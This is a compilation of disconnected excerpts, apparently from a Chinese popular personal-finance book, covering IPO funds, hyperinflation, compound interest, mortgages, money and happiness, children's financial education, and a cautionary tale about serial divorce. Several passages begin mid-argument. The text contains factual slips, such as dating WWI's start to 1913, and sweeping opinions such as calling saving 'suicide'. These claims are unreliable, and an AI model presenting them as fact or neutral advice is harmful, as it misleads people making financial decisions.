　　打新基金，顾名思义，就是专门靠打新股赚钱的基金。要搞明白打新基金的原理，就要先搞明白中国的新股发行制度。

　　打新股是中国股市特有的一种现象。你会发现中国上市的新股，清一色随随便便就能连续上好几个甚至十几个涨停板，收益率超过 100% 的比比皆是，打新股和中彩票、捡钱没啥区别，这在海外成熟市场是极其罕见的。这到底是为什么呢？

　　20 世纪 90 年代初，我国刚刚设立股票市场时，还没有完全确立市场经济体制，所以包括股市在内的各种市场化探索都是走一步看一步，摸着石头过河。由于担心步子跨得太大，当时股票上市采取的是审批制，所以哪个企业能上市哪个不能上市，决定权在政府手里。每年有多少公司可以上市，每家公司能融多少资，都有指标额度，这本质上还是计划经济体制下的思维惯性。而且上市资格并不是完全根据企业本身的经济效益和市场竞争力决定的，而是搞平衡，这个部委给点，那个部委给点，这个省给点，那个省给点，一层一层往下分，就形成了“权力的傲慢”。

　　企业如果没有“关系”，搞不到指标就不能上市，不能上市就融不到钱，融不到钱企业就没法继续发展壮大，这是和企业自身利益息息相关甚至是性命攸关的事，一些搞不到指标的企业就不得不选择去向相关的政府官员行贿。因为谁可以上市，谁不许上市，说到底还是政府一句话，而政府是由一个个人构成的，所以最后就变成了主管发审工作官员的一句话，搞定这些官员，也就搞定了上市。而搞定官员的方法不是塞钱就是色诱，古今中外都一样，这样的制度就给相关官员“前腐后继”提供了巨大的空间。

　　不符合市场经济环境需要的审批制度，不但会导致权力寻租的腐败问题，而且会导致审批放行的速度远远无法满足市场需求，也就是企业渴望融资，投资者也渴望投资，但没有足够多的股票可以买。这种僧多粥少、资金多而股票少的局面就导致每一次新股上市都显得特别珍贵，人人争相抢购，自然股价就会在短时间内迅速飙升。

　　30 年前中国第一代股民一夜暴富并不是靠炒股票，而是靠炒股票认购证。因为当时还是计划经济思维，什么都要管制配给，买肉有肉票，买布有布票，买股票也不是拿着钱就能买，得先有认购证才有资格买，于是认购证的价格被炒上天了，30 元一张的认购证，到二级市场一转手能卖 1000 元，有几十倍的涨幅。认购证之所以那么值钱，就是因为当时股票的发行价格低得不可思议，比如当年上海“众城实业”的原始股，发行价格每股 1 元，一上市就变成了 10 元，然后又一度飙升到 200 多元。从 1 元到 200 元，200 倍的收益啊！那真是一个“饿死胆小的，撑死胆大的”的时代，这种一夜暴富的机会，今天炒股的年轻人再也遇不到了。

力哥说理财：小白理财入门必修课

　　婚姻本质上是一种财产合同关系。从技术层面看，找对象和投资有很多相似之处，从战略高度看，婚姻更是你这一辈子最大的一笔风险投资。幸福婚姻是你一生最大的财富，失败婚姻则是你最大的债务。

　　在合法前提下尽量帮你减少点不必要的税收损失。要知道，避不避税，这收入可差了一大截。

　　我们身边有很多人在用几乎全部的生命赚钱，却没有花哪怕一丁点时间，去规划一个值得拥有的生命。而理财就是帮你规划一个值得拥有的生命，并从财务上给予保证。

　　历史上面值最大的钞票

　　放眼世界，金圆券神话还不是最绝的。人类历史上发行过面值最大的钞票是一战后的德国马克——500 万亿元！

　　一战后，德意志帝国灭亡，在希特勒上台前，德国处于一个叫魏玛共和国的时期。从 1913 年一战开打之前，到 1923 年通胀最高峰，德国物价 10 年间上涨了 1.4 万亿倍！如果从 1918 年德国战败开始算起，5 年间物价也上涨了 66 亿倍。

　　所以那时德国出现了很多非常滑稽的事。比如我们都知道德国人喜欢喝啤酒，那时顾客跑到酒吧叫啤酒一般直接要两瓶。因为担心等喝完第 1 瓶再叫第 2 瓶时啤酒又涨价了！还有人用手推车装了一大捆钱想去超市买东西。没想到小偷趁他不注意，把钱扔地上，把手推车偷走了！为啥？因为这钱实在太重，和废纸几乎没啥区别，搬回家擦屁股还嫌脏呢！

　　到了 1923 年，工人一天要发两次薪水。工人一拿到钱马上交给在工厂门口等着的老婆。老婆像刘翔跑 110 米栏一样，以迅雷不及掩耳盗铃之势如破竹，冲到大街上抢购一切能抢到的东西！

　　通缩就是物价一天天下跌。比如今年这套家具标价 1 万元，明年只要 9000 元就能买了。钱放在口袋里啥都不干也会越来越值钱，买得越晚越划算，那老百姓就会想方设法拖延消费。这样一来，社会消费就会不断下降，工厂卖不出货就会倒闭，工人就会失业，失业了就更不敢花钱……经济就会陷入越来越糟糕的恶性循环。日本经济过去 20 年来就一直饱受通缩之苦。

　　银行的小九九

　　这个故事非常生动地诠释了什么叫复利。听说好像爱因斯坦说过：“复利是人类最伟大的发现，宇宙间最强大的力量，世界第八大奇迹。”足见在小艾眼里，复利有多牛 B！

　　银行和保险公司最懂复利的小九九，所以你去银行存款的利息都是单利。比如你存 10000 元，一年利息 5%，第二年就变成 10500 元，第三年就变成了 11000 元。但你问银行借钱的话，他们可是按照复利也就是利滚利来算的。如果你是房奴的话，看下你 20 年或 30 年的房贷总共要还多少利息？

　　假如你贷款 100 万，最后你还给银行的本利和很可能要 200 万，如果是二套房贷按 1.2 倍基准利率算，那就得 260 万。所以不要以为银行赚到的存贷差就是存款一年 3%，贷款一年 6%，他们赚 3%。错啦！你没有把“单利收储，复利放贷”的因素考虑进去，银行实际赚到的比表面上的数字多得多。

　　1956 年，巴菲特只有 27 岁，刚工作没几年，攒了 14 万美元。这笔钱对当时初出茅庐的美国年轻人来说已是一笔巨款了。按美国官方公布的靠谱 CPI 数据推算，算上通胀因素，当时的 14 万美元相当于今天的 120 万美元，也就是 700 多万人民币。

　　到了 50 年后的 2006 年，巴菲特的个人财富超过了 400 亿美元，成长了 28.5 万倍！扣掉通胀因素也十足增长了 3 万多倍。而且这半个世纪里，巴菲特本职工作就是投资

　　巴菲特说投资有三条原则：“第一，尽量避免风险，保住本金；第二，尽量避免风险，保住本金；第三，记住前两条。”

　　二是只要你在免息期结束前按时还款，这中间几十天相当于银行免费把钱借给你。比如你一个月要花 5000 块，假如全部刷信用卡并用足 50 天免息期，再把原本应该已经花掉的 5000 元买余额宝，假如年化收益是 5%，那这 50 天时间里，相当于银行帮你赚了 5000（元）×50（天）/365（天）×5%=34.25 元。可别小看这点钱，草根理财，不就是从点滴财富慢慢攒起来的吗？

　　在这个阶段，我们遇到了人生中最大的一个瓶颈，支出需求迅速膨胀，而收入增速却远远赶不上支出的增速。那怎么办呢？

　　从理财的角度看，解决办法只有两个。一是在之前单身期努力积累财富，延后消费，延后到什么时候消费呢？就是你买房结婚的时候消费。二是向未来借钱，问银行贷款。这就是贷款买房这件事从生命周期理论上来看的合理性和必要性。

　　实际上，这两个办法都是从时间上对你一生中所能支配的财富进行乾坤大挪移。要不延后，要不提前。所以年轻人贷款买婚房不是什么不合理的事情。国外年轻人要结婚买房一样要贷款，只不过人家房价没涨这么吓人，所以人家年轻人更愿意租房结婚，等今后经济实力更强大的时候再去买房。毕竟人家不会出现我今年要是不买房，明年一看，我擦，房价涨了 20% 这种奇葩景象，所以人家等得起。

　　当然，中国实际上还存在第三个解决办法，就是啃老。

　　而从生命周期理论上看，啃老这件事就是让你爸妈把未来自身的养老基金提前给儿子买房用了。这笔钱原本是你爸妈在工作的时候辛辛苦苦攒下来的，想要延迟到退休以后再用的，但为了给你买房，帮你成家，不得不又在自己刚刚退休没多久甚至还没退休之前，打破既定的退休养老计划，把钱又提前支取了出来。

　　所以从理财的角度看，啃老这件事情无论对父母还是孩子，都是一件很让人感到痛心的事。如果你在结婚买房这件事情上已经啃了你爸妈了，那就请今后更加努力的工作赚钱，并想办法重新为你爸妈准备好原本就应该属于他们未来的那一份养老基金吧。

　　存银行一定没风险吗

　　不同的国家，不同的时期，市场无风险收益水平是不同的。比如在日本欧洲这些地方，现在基本上就是零利率。虽然人家是利率市场化的国家，银行可以自己决定给储户多少利率，但因为要抗通缩，刺激经济，基本上就是一年 0.2%、0.3% 这样，市场无风险收益几乎为零。

　　但在经济依然高速增长的中国，理论上说，无风险收益水平应该看 3 个月以内的 Shibor（上海银行间同业拆借利率），这个名词太高大上了，咱不去管它。老百姓一般看的是央行（中国人民银行）发布的一年期定期存款基准利率。

　　从历史上看，央行发布的一年期定期存款基准利率一般在 1.5%-4% 之间波动。假如现在的利率是 3%，那基本上 3% 就可以看成是中国当下投资市场的无风险收益水平，也就是预期年收益小于或等于这个数字，本金和利息一般都是有保障的。

　　但就算如此，银行存款实际上也还是有风险的。那就是通胀风险，假如今年 CPI 涨幅超过 3%，那你存在银行的存款实际上还是在贬值，是一种变相的亏损，也就是我们常说的“负利率”。

　　另外现在中国基本上已经完成了存款利率市场化改革，也就是说现在去银行存款给多少利息，不再是央行说了算，而是各家银行自己说了算。这就会有激烈的竞争，但也意味着你存在银行的钱已经不再有国家信用背书了，而是依靠存款保险制度来保障你的存款安全。换句话说，未来存银行也将不再 100% 保险。当然，如果你钱都存在了“宇宙行”（工行）也不用太担心，打死我也不相信政府会眼睁睁看着它倒闭。

　　“4321 定律”

　　这也是卖保险的很喜欢用的理财定律，说的是合理的家庭资产配置应该是：40% 用于股票、基金、房地产这些投资，30% 用于生活支出，20% 用于银行存款，10% 用于买保险。

　　这个理论上就有问题。因为这年头在中国储蓄就是找死！不瞒你说，力哥名下没有一分钱定期存款，也没有一分钱储蓄型保险，这个 4321 定律在我身上完全不成立！这是力哥综合了自己的风险偏好、风险承受能力、投资能力和理财目标后，做出的资产配置。

　　当然，理财师不是阿拉丁神灯，你提出任何理财目标都能帮你实现。要是月入 5 千，无老可啃的的草根的理财目标是在魔都买别墅的话，呵呵，那就算神仙也帮不了你。

　　2000 年以前的致富机会

　　从 1949 年到 1979 年这 30 年时间里，靠个人奋斗，靠投资眼光是木有什么用的，这时你的出身和政治上的地位决定了你一生的财富命运。但从 1979 年以后，只要能够抓住历史给予的机会，每一代人都不缺乏发财的机会。

　　比如说在 80 年代，只要敢于脱离体制，下海经商，不管你是借助价格双轨制的机会做做倒爷，还是托关系拿到批文去开发房地产，哪怕就是做个个体户，做做水产生意都能成为万元户。你要知道，那时候普通工人一个月工资才几十块钱，当时的万元户相当于现在的亿万富翁呢。还有像安徽的年广久，做瓜子也能够发大财！

　　但是你要知道，在那样一个中国的市场经济启蒙年代中，想要抓住这些发财机会，那是要冒很大的政治风险的，像年广久后来就被抓到牢里去了。所以在那个时代，只有极少数敢为天下先的吃螃蟹的人能够发财，超过 99.9% 的人还是没有发财的命。而且就算当年是万元户又如何，当时的人们没有理财的观念，有钱了就吃好的穿好的，买轿车买大哥大，钱都花完了呀。就算存着钱，经过这 30 年的高速通货膨胀，今天的万元户已经变成纯草根了，许多高薪白领一个月工资就超过一万元了。

　　但是在 90 年代初那会儿，股市和理财真心没啥关系，股市实际上就是一夜暴富的代名词，尤其是那些最先抢到股票认购证的第一代股民，许多人一夜之间成了百万富翁。再往后，中国的金融市场进一步开放，到了 94-95 年，因为股市低迷，市场又出现了炒期货、炒外汇的热潮，但因为市场投机性太强，加上当时监管水平奇差无比（当然现在证监会的监管水平也高不到哪里去），最后在 1995 年就酿成了轰动一时的 327 国债期货事件，惊动了党中央，导致国债期货因为这个事情后来直接被关掉了，直到 18 年后的 2013 年才重新开放。

　　而这一路上不断升级的自我修炼过程，不都是在业余时间日积月累起来的吗？再说一遍：业余时间做什么决定你未来的财富

　　但我还是要提醒一下，房子是良性负债，因为你买的是资产，而车子是恶性负债，因为车子是消费品，会不断贬值。所以站在一个理财师的角度看，我坚决反对你贷款买车！（除非银行脑子抽风给你零利息零手续费的分期付款，而且 4S 店还是以比官方指导价便宜很多的底价把车子卖给你的，如果真有这种好事，那就另当别论了）

　　但既然贷款，那就有利息。复利这个东西可是非常吓人的，可能你问银行贷款 50 万元，到头来你总共要还银行 100 万元。所以你到底是以公积金贷款利率去申请贷款的，还是以 85 折优惠商贷利率贷款的，还是 1.2 倍惩罚性利率贷款的；你是选择 10 年还清，还是 20 年还清，还是 30 年还清；你是选择等额本息还款法还是等额本息还款法；你的公积金是选择月冲还贷还是年冲还贷……这些问题，你都要算清楚，想清楚。

　　总之，还贷时间越长，你的负债成本越高，但如果还贷时间过短，你的月供压力太大，可能会影响你的家庭财务安全，所以说到底，还是一个平衡的问题。

　　判断一个人幸福感有多高，有个公式：拥有÷欲望。

　　工作也好，理财也罢，本质上都是通过增加我们拥有的东西来获得幸福感（生命满足感）。但如果不去管理你的欲望，你拥有的越多，你的欲望就越大，结果不管你怎么工作理财，你的幸福感都不会增加。同样都是土豪，和珅的财富比范蠡更多，但和珅的幸福感却远不如范蠡。因为他不懂得节制欲望，最后嘉庆一上台就把他给秒了，范蠡却和西施过上了神仙般的日子。

　　最终极的自由

　　一个在自我实现的需求上获得满足感的人，往往都是有信仰的人。而在所有的信仰中，宗教信仰又是最高层次的信仰。因为它帮你解决了两件事，一是这个世界到底是怎么回事，从哪里来到哪里去，二是人死是怎么回事，死后到底要到哪里去。

　　第一个问题的答案，随着科学越来越先进，我们会不断逼近真相，但人类永远无法通过科学得到完整的真相，因为科学研究到现在已经研究到了测不准定理，研究到了反物质，人类的观察行为本身已经会影响到被观察的对象，再怎么研究？第二个问题，科学就更完全无能为力了。

　　但宗教解答了这两个问题——不管你信不信，反正它给出了答案。如果你信，你就获得了最高层次的满足感和安全感，因为你知道你从哪里来要到哪里去，那你还怕什么？

　　人最大的自由不是财务自由，也不是罗斯福说的言论自由、信仰自由、免于贫困和恐惧的自由，而是老子不想死的自由啊啊啊啊！没人有这个自由吧？但宗教把生死的来龙去脉给你讲清楚了。如果连死都不怕了，还怕什么？没钱？那算个屁大点的事啊！

　　2015 年诺贝尔经济学奖得主安格斯·迪顿最重要的研究课题就是研究金钱和幸福之间的关系。

　　在 2008 年，迪顿和他的团队通过对 45 万份调查问卷的分析，最后得出结论：有钱不一定会幸福，但没钱通常让你感到更痛苦。

　　换句话说，当你是一个穷人的时候，金钱和幸福感之间的确存在着一些正相关性，原本一个月工资只有 2000 元的草根，如果突然把他的工资提高到 5000 元一个月，他会感到非常高兴，并且这部分收入的提高，对持续改善他的生活，持续提高他生活的幸福感会起到立竿见影的效果。但如果你是一个富人，已经拥有了 1000 万，现在又赚到了 1000 万，这新增加的 1000 万对你来说，其实只是银行账户上的一串数字，它能带给你的只是进一步的财务安全感，而不是生活幸福感。

　　所以迪顿认为金钱和幸福之间的线性关系存在一个非常关键的幸福拐点。这个拐点在美国是年收入 7.5 万美元，而美国 2008 年家庭收入的中位数是 7.1 万美元左右，这个拐点大概相当于美国中产阶级家庭的收入水平。也就是说，如果一个社会有 100 个人，你的收入水平排名 50 位以后，收入水平的不断提高的确可以提高你的幸福感，但你已经跻身前 50 位以后，排名的进一步上升不会让你感到更幸福。

　　迪顿的研究还发现，幸福感作为一个非常主观的概念，每个人对幸福的理解都不一样。如果一定要细分，那幸福感包括两个部分，一是精神层面的幸福感，就是你每天感到高兴、悲伤、紧张的那些情感体验；二是物质层面的幸福感，就是你对当下的物质生活是否满意。

　　迪顿发现这两种幸福感的获取来源是不同的。物质层面或者说日常生活层面的幸福感，和你的收入以及财富有很密切的关系。而精神层面的幸福感则和钱没有什么关系。那它和什么有关系呢？比如健康的身体会让人感到更幸福，比如每天都有人陪伴你，和你聊天玩耍，会让你更幸福。再比如美满的婚姻往往会让人感到更幸福。

　　上面这段基于经济学的分析结论告诉我们，金钱对幸福感实际上只有大概 1/4 的影响力。怎么说呢？因为幸福分成精神层面和物质层面两部分，而金钱对精神层面的幸福感没有直接影响，所以影响力就只有一半了。而在物质层面幸福感的影响力上，金钱只对收入排名在社会后半截的人有影响，而收入排名靠前的那一半人，金钱的增加和幸福感的增加也没有明显的关系，所以这又去掉了一半，就只剩下 1/4 了。

　　难以克服的人性

　　不知道你有没有想过这个问题，为什么过去计划经济时代，家家户户都那么穷，许多人还是很开心呢？也就是我们父辈们常说的“穷开心”。现在人们越来越有钱了，生活条件越来越好了，为什么许多人反而感觉自己没以前幸福了呢？过去 30 年中，不仅中国大陆的居民普遍出现了这种感受，大部分香港居民同样出现了这种感受。

　　这是因为从心理学上说，人不会因为拥有什么东西而感到满足和快乐，而会因为自己拥有别人没有的东西或者比别人拥有更多的东西而感到满足和快乐。也就是说，人只有在与他人进行比较后，发现自己比他人拥有得更多的时候，才会感到幸福。

　　美国有一句谚语叫“keep up with the Jones’”（与邻居琼斯家保持一致），意思是说如果你的邻居比你有钱，你就会感觉自己不幸福，但如果你比你邻居有钱，你一开始会感到幸福，但很快你就不愿意再与那些比你穷得多的邻居为伍，你会觉得自己高他们一等，于是就搬去了更高级的社区。但在那个社区中，你又发现有许多比你更有钱的邻居，于是你又感到不幸福了，你又要想方设法让自己赚更多的钱，去与邻居保持一致……这就像中国一句老古话讲的：人比人，气死人。

　　迪顿所说的幸福拐点也是这个道理。放眼望去，发现社会上一大半人都比你有钱，越来越多的人买了私家车，而你还在骑自行车，你心里那个气啊，仇富心理油然而生，看到路边停了一辆豪车就想上去把它划成大花脸。但如果你发现社会上一大半人都比你穷，你开上私家车了，你隔壁邻居还在骑自行车，你开着车从他身边经过，说“兄弟，要不要我带你一程？”这时候你的幸福感就油然而生了。

　　再举个栗子，著名理财师刘彦斌老师以前作客电视节目时说过，自己早年炒股赚了很多钱，2001 年的时候，明明知道股市风险很高了，本来想获利了结，但转而一想，自己买房和孩子读书的钱是赚够了，但自己养老的钱还没赚到呢，等把养老钱赚到再出来吧，等那以后打死我也不碰股票了！可等他赚够了自己的养老钱，又想把儿子一辈子要用的钱也赚足了再出来……结果亏得一塌糊涂，因为他当时是私募基金操盘手，基金清盘后还欠了一屁股债。

　　刘彦斌回忆说，其实当时就算我把儿子的钱也赚够了也不一定会收手，因为我会想着给孙子赚钱。你看，人总是有理由驱使自己赚更多的钱，以至于稍有不慎，就会把自己一生的幸福置于万劫不复的境地！

　　所以包括迪顿在内，越来越多的经济学家发现经济学只能解决财富增长的问题，却无力提升人的幸福感。

　　著名经学家茅于轼老先生也发现了这个问题。茅老晚年写过一篇文章叫《从致富之道到致乐之道》。他说自己研究了一辈子经济学，自己看问题总是从经济学的角度出发。国家的强弱看 GDP，人生的目的就是建设一个富有的国家，而经济学家的作用就是给政府、企业和个人提供能给社会创造更多财富的建议。但这一切都是建立在理性经济人这个假定的基础上，经济学先入为主的假设所有人都爱追求利益和物质享受，从而让自己变得更快乐。然而到了 70 岁前后，他却对这套理论产生了怀疑。

　　他说：“我看到不少人拿起筷子吃肉，放下筷子骂娘。改革开放三十多年，绝大多数人的生活都有不同程度的改善，可是大家的怨气似乎也在增加”。所以茅于轼发现说可能人们并不是在追求财富的绝对多少，而是财富的相对多少。或者说，人们是通过彼此攀比来获得幸福感，所以一个人不论他多么富有，只要他看到有更多的人比他更有钱——不管是像马云那样正经做生意赚到的钱，还是贪官污吏们赚到的黑钱——他就有可能会骂娘！

　　如果这个理论成立的话，那整个经济学大厦就要推倒重来了！因为一个国家无论多么富有，百姓还是不会完全满意。除非就像马克思说的，到共产主义社会，所有人均贫富，没得攀比。但这不就又回到改革开放之前的错误道路上去了吗？

　　婚姻和健康的重大意义

　　而超过 3/4 影响权重的是什么呢？

　　就是我上面说的，你的婚姻是否幸福，你的孩子是否孝顺，你的身体是否健康，你在生活中的人际关系是否和谐，你是否受到他人的尊敬甚至是爱戴……

　　其中有两点特别重要，一是婚姻。

　　不分文化、不分国家、不分时代，人类历史上的所有相关调查都显示，其他条件相同的情况下，已婚者总是比单身者更幸福！

　　所以那些单身狗，尤其是那些发誓准备一辈子单身的小伙伴们，我劝你们真的要好好想一下，结婚并不是完成你爸妈的心愿，或者为了迎合社会世俗标准，结婚是为了提升你的生活幸福感。因为婚姻至少能给人带来两样必不可少的人生核心体验，一个是爱情的滋润，二个是家庭的温暖，尤其是看着自己的孩子不断成长给你带来的那种幸福的人生体验。合在一起，婚姻能让你更完整的体验到爱与被爱的感觉！

　　另外婚姻是否幸福和你有没有钱也没有必然联系。《倚天屠龙记》中，张无忌他爸张翠山和他妈殷素素在鸟不拉稀的冰火岛成婚育子，没花一分钱，一样过得甜甜蜜蜜，羡煞旁人。谁规定说结婚必须要和房子、车子、排场、礼金捆绑在一起的呢？

　　另外一个对幸福感有着举足轻重的影响的是健康。一个人往往不会因为健康的身体而让幸福感大幅提升，但一个原本健康的人，却会因为疾病或者意外而让幸福感大踏步倒退。

　　除了疾病本身给身体造成的痛苦，更大的痛苦是许多人会因病致贫，或者因病返贫。一个人得了重病，很可能会彻底改变一家人的命运，因为你丧失了工作能力，就没有了收入，而你的家人为了照顾你，也会丧失许多工作机会，但看病又需要花费大量的金钱。一进一出，你的财务状况就会越来越糟，有可能倾家荡产甚至欠一屁股债。

　　而且如果你的病是注定看不好的，或者你的身体残疾是永久性的，你就会形成悲观绝望的心理预期，觉得你这辈子就这么完了。这种情况下无论是精神层面还是物质层面的幸福感都会大踏步倒退。

　　所以在不幸发生这种悲剧的时候尽量减少一个人的财务压力就显得特别重要。这就要求一方面，国家需要加大对穷人的医疗保障力度，另一方面，我们自己也应该未雨绸缪，通过购买保险的方式，把这种必然会导致自己幸福感大幅降低的风险给提前转移掉。

　　最后的忠告

　　而在长达十多年的理财教育过程中，有两点是当爸妈的一定要特别注意的。

　　第一，一定要在孩子面前形成统一战线。让孩子从小树立起规则意识，言出必行，错了就该受罚，这个月钱用完了接下去就啥都不能买。不能老爸唱红脸，老妈唱白脸，或者老爸刚刚教育好孩子这个玩具要下个月才能买，回头孩子跑外公那里一撒娇，外公心一软就给孩子买了。孩子可精明了，他最懂得察言观色，见风使舵。他会本能地朝着自身利益最大化的方向去发展。如果家里的大人不能够齐心协力，在孩子面前铁板一块的话，那对孩子的理财教育是很难成功的。

　　第二，俗话说的好，言传不如身教。孩子是我们最亲的家人，天天和我们生活在一起，你的一举一动他都看在眼里，记在心里。你叫他对人有礼貌，你自己就不懂礼貌，孩子怎么会懂礼貌呢？你叫让他要勤俭节约，你自己花钱大手大脚，孩子怎么可能会节俭呢？你天天和孩子说爸妈养你多不容易，以后长大了你一定要孝顺爸妈，可你自己平时周末都很少抽空去看望一下自己的爸妈，孩子长大了能对你有多孝顺呢？不管是教孩子理财还是其他任何东西，都是这个道理。

　　最后我再说两句子女教育规划的问题。

　　子女教育规划是理财规划中非常重要的一部分，也是力哥说的七颗龙珠中的一颗。但许多家长在提到子女教育规划时，脑子里想到的就是钱，就是筹集孩子以后上大学或者留学的经费。

　　力哥一直认为，如果你现在的家庭经济条件不太好，有点捉捉襟见肘，你就没必要优先考虑子女未来上大学的教育经费。最重要且紧急的，是你父母的养老基金，尤其是看病的钱，因为他们可能不久于人世，等他们撒手人寰了，你想孝敬他们都没机会了。另一个重要且紧急的，是你的买房基金。都说成家立业，要成家，你总得有一个属于自己的窝吧。再接下去，你要考虑重要但不紧急的你自己未来的养老基金。最后，才是考虑同样重要但不紧急的子女教育基金。

　　在经济条件不宽裕的情况下，子女教育基金应该是最后考虑的。而如果你的家庭条件很好，其实也没有必要特地准备子女教育基金，比如你有两、三套房子，到孩子上大学的时候，如果家里钱不够用，卖掉一套房子就行了。

　　真正需要提前做好子女教育基金规划的，是那些比上不足，比下有余的家庭。这种家庭就有必要考虑专门设立一个子女教育基金账户，通过基金定投或者购买教育保险的方式来长期投资，专款专用，避免将来由于家庭财务出现危机，导致孩子因为没钱的关系而无法完成学业，那你做父母的肯定会感到非常愧疚。

　　但钱的问题只是一方面，子女教育规划更重要的说的是人的问题。教育的最终目的，不是让孩子获得一张金灿灿的文聘，而是塑造孩子健全的人格，把你的孩子培养成一个有知识、有素养、有道德、有理想的人才。教孩子理财的道理实际上也是在教孩子长大了应该怎么做人的道理。

　　有些荔枝私下和我说他的理财目标的时候，我觉得很好笑，因为他一个很重要的理财目标是帮自己的儿子准备好将来结婚和买房的钱。我说你儿子现在才 3 岁，他将来娶媳妇买房关你屁事啊？到时候你买得起房就自己买，买不起房的话，老爸如果还有余力的，帮你筹点首付，老爸自身难保的，不好意思，你就租房结婚吧，这难道不是天经地义的吗？

　　如果孩子结婚买房也是你的责任，那是不是你儿子将来的养老金都要你提前帮他准备好呢？那你儿子将来长大了能干什么？他还需要干什么？他还有任何认真学习，努力拼搏的动力吗？你觉得你这样殚精竭虑为孩子的未来着想，真的是为孩子好吗？

　　你觉得花这么多钱让孩子去补课，让孩子从小学这个学那个，给他吃好的穿好的玩好的，最后还花几十万甚至上百万让他去国外一个三流大学混一张文凭出来，你这到底是爱他还是害他啊？你觉得你花这么多钱在孩子身上，最后是会把孩子培养成一个有出息的人才，还是培养成一个没出息的啃老族呢？

　　今天的中国社会太浮躁，人人都想赚快钱，今天中国的教育同样很浮躁，老师只要孩子死记硬背，考试考高分，完全不会去培养孩子的创新思维和质疑精神。到最后走上社会的时候，许多年轻人一心就想开后门走捷径，一点苦也吃不起，而且肚子里只有书本知识，没有生存技能，却又好高骛远，眼高手低。你说这样的年轻人能有多大的事业成就？

　　我们个人是没有办法和这个社会和这个体制对抗的，所以我们能做的就是用我们更多的时间和精力，来陪伴孩子，来教育孩子，尤其是以身作则，让孩子知道什么是对的，什么是错的，什么是重要的，什么是不重要的。

　　你要知道，有些我们人生中最重要的东西是你用再多的钱也买不到的，对子女的教育，就是不能完全靠钱解决的，而需要你花足够的耐心和精力，去培养他。无论是培养他的理财意识，还是把他培养成一个人格健全的人。

　　奇葩结婚狂的理财悲剧

　　力哥有一个朋友，是广东潮州人，在上世纪 90 年代就进入一家上海的房地产公司担任领导职务，收入非常高，而且因为是做房产开发的，他就近水楼台先得月，在 2001 年的时候，以不到 100 万的内部劲爆优惠价在上海西南角买了一套别墅。

　　当时因为刚刚结束福利分房制度没多久，国内楼市还很低迷，上海为了鼓励买房就推出了购房退税，购房就送蓝印户口等一系列优惠政策，所以那两年买房是非常划算的。等到 2004 年，单单这套别墅的市价就涨到了 350 万元，在十多年前这可是一笔巨款，他也顺理成章过上了中产阶级的生活了，听听音乐会，去高级餐厅吃吃饭，每年出国旅游两次……可惜从 2005 年开始，这人就开始作啦。俗话说的好，no zuo no die，一作就完蛋。他怎么作呢？他不停地离婚结婚离婚结婚……

　　第一次和结发十多年的原配老婆离婚是在 2005 年年初，原因你懂的，男人有钱就变坏，糟糠之妻看不上眼了。我这朋友在离婚的时候也算是个爷们，知道自己出轨在先，愧对老婆，所以丝毫不隐瞒财产，算上这套别墅，当时他有 400 多万元的财产，一半都分给了前妻。但是很不幸，2005 年正好国家第一次对楼市进行宏观调控，他的别墅价格也跌了一点，加上它又急着抛售分财产，结果只以 320 万元的价格贱卖了出去，这第一次离婚是他财产缩水最严重的一次。

　　虽然损失了 200 万，但他这时手里还有 200 万，还是能在当时的上海市中心买一套大房子，所以他很快和原来的小三结婚后，在上海市中心花 180 多万买了一套三室两厅的房子。但天晓得他和这个小三从认识到结婚才 3 个月，他们是闪婚，结果就像现在许多 80 后闪婚族一样，闪婚才过了 5 个月，就由于性格不合，又闪离了。我这朋友说离婚是因为这女的太作了，他实在受不了……其实照我说是他自己太作了，没事干嘛学人家小年轻玩闪婚，你这不是自作自受吗？

　　那你可能会问了，他这次离婚是不是又把房子给卖了呢？

　　没错，因为这套房子是在两人开出结婚证后才买的，而且为了表忠心，产证上写了两个人的名字，虽然我这朋友是实际出资人，他第二个老婆一分钱没出过，但还是不得不把这套房子给卖了，把一半的钱给了这女的。好家伙，短短几个月里又损失了将近一百万！

　　正所谓吃一堑长一智，经历两次离婚之后，照道理说，他应该学乖了，别再那么急着结婚了。天晓得我这朋友是一根筋，就像电视剧《粉红女郎》里面刘若英演的那个结婚狂一样，整天嚷嚷着“我要结婚，我要结婚”！根本不听劝。结果才过了一年不到，到 2006 年 5 月，他又在外面跳舞的时候勾搭上了一个娘么，第三次迈入了“神圣”的婚姻殿堂。

　　但这时，他自己的财产已经大幅缩水了，上海的房价则大幅上涨了。此消彼长，所以第三次结婚后他只能在外环线附近买了一套两房一厅的房子，而且这次也没钱全款买房了，不得不向银行申请房贷。最搞笑的是，他当时结婚后还和我说，因为吸取了之前离婚的教训，所以这次买房故意只付了三成首付，大概 35 万元，这样万一以后离婚了自己损失也可以小一点。

　　真不知道该说他是神机妙算还是乌鸦嘴，结果还真被他说中了，结婚才一年多，到了 2007 年，他和这个第三任又因为老是为一些鸡毛蒜皮的小事吵架，家里闹得天翻地覆，最后实在没办法，为了得到解脱，他第三次选择了离婚。可你说这男人是太有责任心呢还是太缺心眼呢？他居然因为对方没有地方住，最后把这套房产索性送给这第三任老婆了！

　　到了 2008 年，我这朋友第三次离婚后在上海外环线外面的一个老式新村里买了套小两房，因为这时年纪比较大了，所以没能从银行申请到按揭贷款，全部支付现金，一下子又花了他 52 万元。这么一来，他身上只剩下十几万元的积蓄了。从那之后，我这朋友虽然花心依旧，但再也不敢结婚了，他终于发现自己压根就没有结婚的命，一直到现在还是自己独自一人住在这套老公房里。

　　无论从情感上说还是财产上说，结婚是你这一生投入金额最大的也是最重要的，同样也是风险最高的一笔投资，这可比你买股票的风险高多了。一段美满的婚姻是你这一生最大的一笔财富，但反过来说，一段又一段失败的婚姻，则会让你的财富和你的生活都被打入万劫不复的深渊。

　　在过去，领结婚证的心理意义和象征意义远大于实际意义，领证主要是做给父母看的，做给朋友看的，做给全社会看的，告诉全世界，咱两以后是一家人了。而现在，越来越多的人意识到，结婚证在本质上其实是一份财产契约，和爱情木有半毛钱关系。如果双方感情很好，领不领证都不妨碍他们幸福地生活下去。很多童话故事的结局都是王子和公主从此幸福地生活在了一起，你有见过哪个童话故事是以王子和公主在公证处拍了结婚照，领了结婚证作为 happy ending 的吗？所以领不领结婚证和双方能否永远对对方忠贞不二没有必然联系。

　　中国近代文学大师林语堂先生就有过一段烧婚书的美谈。

